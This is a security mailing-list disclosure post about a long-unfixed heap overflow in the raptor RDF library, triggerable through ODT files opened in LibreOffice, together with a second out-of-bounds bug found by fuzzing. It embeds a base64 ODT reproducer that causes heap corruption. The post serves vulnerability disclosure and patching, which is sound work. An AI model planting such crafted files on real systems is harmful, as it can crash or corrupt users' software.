Date: Fri, 13 Nov 2020 13:33:31 +0100 From: Hanno Böck <hanno@...eck.de> To: oss-security@...ts.openwall.com Subject: Buffer Overflow in raptor widely unfixed in Linux distros 3 years ago I reported a heap overflow vulnerability in raptor, an RDF parsing library: https://www.openwall.com/lists/oss-security/2017/06/07/1 raptor has not created a new release since 2014. The most prominent user seems to be libreoffice. This is triggerable from within an ODT file. Back then I reported this to libreoffice as well and they patched it in their builds. However on linux systems libreoffice package usually use the system-provided libraptor, so if that's not patched it is vulnerable. This was unpatched for a long time in many linux distros, in some it still is. Debian+Ubuntu have released updates in the past few days. It may be interesting to discuss how this happened. From my side I feel I did what I should do - I reported it to the project and later disclosed it publicly on oss-security. Apparently it seems there is no reliable process to make sure publicly reported vulns eventually get patched in distros if there is no active upstream. Maybe noteworthy is that this didn't get a CVE in 2017. It seems many distros rely on CVEs to get a process of backporting fixes rolling. Given the fluctuating reliability of CVE assignments not sure this is wise. I have now requested a CVE (CVE-2017-18926). Here is a minimal reproducer embedded in an ODT file: UEsDBBQAAgAIAIqMZlHHyBrQfgAAAKUAAAAMABwAbWFuaWZlc3QucmRmVVQJAAOEe6VfEXylX3V4 CwABBOgDAAAE6AMAAE3NQQ7CIBCF4as0uKYoriC0q8YDGC9A6qhNWpjMYKC3tzSauP3zvTxH94e9 DpemLHNgC6UTr5TRKpVzbqH4BWdoIz1V4IP4qm1TWfqxfN7FyRijjlppLTcheQ3JF1l3vas3A/BI E6Ypht5BsdjUip4YbitCJ8RfJuD4pnGvH1BLAwQKAAAAAABhX2ZRAAAAAAAAAAAAAAAACQAcAE1F VEEtSU5GL1VUCQADdSylXxF8pV91eAsAAQToAwAABOgDAABQSwMEFAACAAgAC41mUbMm7RFxAAAA 9AAAABUAHABNRVRBLUlORi9tYW5pZmVzdC54bWxVVAkAA3V8pV9hfKVfdXgLAAEE6AMAAAToAwAA jY/BCoQwDER/Zel1aXsX3X8JNsVAmgYbF/179eB62Iu34THMY/oCQhmbdVf49D+UidGj2Ly9brYw ewWbBhfdjQsmAm+b4uBAlWkEoyrxKylUaNRCVZRUx6Ucg8FwNRefqy4W5pQfWI/Wey18GuL/wR1Q SwECHgMUAAIACACKjGZRx8ga0H4AAAClAAAADAAYAAAAAAABAAAApIEAAAAAbWFuaWZlc3QucmRm VVQFAAOEe6VfdXgLAAEE6AMAAAToAwAAUEsBAh4DCgAAAAAAYV9mUQAAAAAAAAAAAAAAAAkAGAAA AAAAAAAQAO1BxAAAAE1FVEEtSU5GL1VUBQADdSylX3V4CwABBOgDAAAE6AMAAFBLAQIeAxQAAgAI AAuNZlGzJu0RcQAAAPQAAAAVABgAAAAAAAEAAACkgQcBAABNRVRBLUlORi9tYW5pZmVzdC54bWxV VAUAA3V8pV91eAsAAQToAwAABOgDAABQSwUGAAAAAAMAAwD8AAAAxwEAAAAA I get an malloc(): invalid size (unsorted) message, which I believe indicates this successfully triggers a heap corruption. FWIW I recently tried to fuzz raptor again with the fix applied. I quickly found another OOB issue https://bugs.librdf.org/mantis/view.php?id=650 From the bug report: A malformed input file can lead to a segfault due to an out of bounds array access in raptor_xml_writer_start_element_common. Bug happens in line 230 of raptor_xml_writer.c (current git): https://github.com/dajobe/raptor/blob/master/src/raptor_xml_writer.c#L230 From looking at that code it seems to me it always expects nspace_declarations_count to be lower than element->attribute_count, however this input seems to create a different situation. I made an attempt at a patch that throws an error in this situation (but please review it, I am not familiar with what this code does and should do - though the patch doesn't seem to introduce test failures). (proposed patch, example file and stacktrace can be found attached to the bugreport) -- Hanno Böck https://hboeck.de/
Powered by blists - more mailing lists
Please check out the Open Source Software Security Wiki, which is counterpart to this mailing list.
Confused about mailing lists and their use? Read about mailing lists on Wikipedia and check out these guidelines on proper formatting of your messages.